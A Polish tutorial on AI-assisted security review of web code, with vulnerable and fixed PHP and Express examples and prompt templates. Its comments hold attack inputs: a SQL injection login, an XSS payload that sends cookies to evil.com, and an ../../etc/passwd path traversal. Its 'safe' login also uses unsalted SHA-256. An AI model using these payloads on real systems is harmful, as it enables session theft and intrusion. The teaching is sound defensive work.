Audyt bezpieczeństwa kodu tradycyjnie wymagał doświadczonego pentestera lub specjalisty od security. Dziś modele AI takie jak Claude czy ChatGPT mogą być wartościowym pierwszym filtrem — wykrywają typowe podatności szybko i bez specjalistycznej wiedzy po stronie dewelopera. Nie zastąpią profesjonalnego audytu, ale mogą wychwycić wiele błędów jeszcze na etapie pisania kodu.
TOP 5 podatności w kodzie webowym
1. SQL Injection (wstrzyknięcie SQL)
Najgroźniejsza i nadal bardzo powszechna podatność. Atakujący wstrzykuje złośliwy kod SQL do zapytania bazodanowego przez dane wejściowe użytkownika.
<?php
// ❌ KOD PODATNY NA SQL INJECTION:
$login = $_POST['login'];
$haslo = $_POST['haslo'];
$sql = "SELECT * FROM uzytkownicy WHERE login='$login' AND haslo='$haslo'";
// Atakujący wpisuje: login = admin'--
// Zapytanie staje się: SELECT * FROM uzytkownicy WHERE login='admin'--' AND haslo=...
// Komentarz -- pomija sprawdzenie hasła!
// ✅ KOD BEZPIECZNY (PDO z parametrami):
$stmt = $pdo->prepare("SELECT * FROM uzytkownicy WHERE login = ? AND haslo = ?");
$stmt->execute([$login, hash('sha256', $haslo)]);
$user = $stmt->fetch();
?>
2. Cross-Site Scripting (XSS)
Atakujący wstrzykuje skrypt JavaScript, który wykonuje się w przeglądarce ofiary. Może kraść ciasteczka sesji, przekierowywać użytkownika lub wykonywać działania w jego imieniu.
<?php
// ❌ KOD PODATNY NA XSS (reflected):
echo "Szukasz: " . $_GET['q'];
// Atakujący wysyła link: /szukaj?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
// ✅ KOD BEZPIECZNY:
echo "Szukasz: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// htmlspecialchars konwertuje < na <, > na >, ' na '
?>
3. CSRF, Insecure Deserialization i Broken Auth
CSRF (Cross-Site Request Forgery) — atakujący nakłania zalogowanego użytkownika do wykonania niechcianej akcji. Ochrona: tokeny CSRF w formularzach. Insecure Deserialization — deserializacja niezaufanych danych może prowadzić do RCE (Remote Code Execution). Nigdy nie deserializuj danych od użytkownika funkcją unserialize() w PHP bez walidacji. Broken Authentication — słabe hasła, brak rate-limiting na login, niezabezpieczone tokeny sesji. Używaj password_hash() i password_verify() w PHP, ogranicz próby logowania.
Jak formułować prompt do AI dla review bezpieczeństwa
Sposób w jaki opiszesz zadanie modelowi AI ma ogromny wpływ na jakość wyników. Oto sprawdzone szablony promptów:
Prompt ogólny — analiza pliku
Wklej kod i dodaj: "Przeanalizuj ten kod PHP pod kątem podatności bezpieczeństwa. Szukaj: SQL injection, XSS, CSRF, niezabezpieczonych operacji na plikach, wycieku danych w komunikatach błędów. Dla każdej znalezionej luki podaj: opis problemu, przykład exploitu, poprawiony kod."
Prompt specyficzny — jedna kategoria
Bardziej szczegółowy: "Czy poniższy kod PHP jest podatny na SQL injection? Sprawdź wszystkie miejsca gdzie dane użytkownika trafiają do zapytań SQL. Użyj oznaczeń: PODATNY/BEZPIECZNY/WYMAGA-SPRAWDZENIA dla każdego zapytania."
# Przykład sesji z Claude (weryfikacja kodu Node.js/Express):
# Prompt:
# "Sprawdź ten fragment kodu Express.js pod kątem bezpieczeństwa.
# Szczególnie zwróć uwagę na: walidację danych wejściowych,
# autoryzację, potencjalny path traversal i wycieki informacji."
# Fragment kodu do analizy:
app.get('/plik', (req, res) => {
const nazwa = req.query.nazwa;
const sciezka = '/dane/' + nazwa; // ❌ path traversal!
res.sendFile(sciezka);
// Atakujący: /plik?nazwa=../../etc/passwd
});
# Bezpieczna wersja:
const path = require('path');
app.get('/plik', (req, res) => {
const nazwa = req.query.nazwa;
const sciezka = path.resolve('/dane', nazwa);
if (!sciezka.startsWith('/dane/')) { // sprawdź czy nie wychodzi z katalogu
return res.status(403).send('Brak dostępu');
}
res.sendFile(sciezka);
});
Narzędzia statyczne jako uzupełnienie AI
AI nie zastępuje dedykowanych narzędzi do analizy statycznej kodu (SAST). Warto łączyć oba podejścia:
- Semgrep — darmowy, open-source skaner z regułami dla wielu języków. Działa w pipeline CI/CD. Wykrywa podatności na podstawie wzorców kodu.
- SonarQube — kompleksowa platforma do jakości i bezpieczeństwa kodu. Community edition jest darmowa.
- Bandit (Python) — specjalizowany skaner bezpieczeństwa dla Pythona.
- PHPStan + Psalm — statyczna analiza PHP wykrywająca m.in. potencjalne XSS i injection.
Ograniczenia AI w security review
Modele AI mogą mylić się w kilku obszarach. Zazwyczaj słabiej radzą sobie z: logiką biznesową (np. błędna autoryzacja oparta na złożonych regułach), podatnościami wymagającymi wieloetapowego exploitu (chain of vulnerabilities), nowo odkrytymi podatnościami (po dacie odcięcia wiedzy) oraz specyficznymi frameworkami i bibliotekami. AI może też generować fałszywe alarmy — zgłaszać problemy tam gdzie ich nie ma.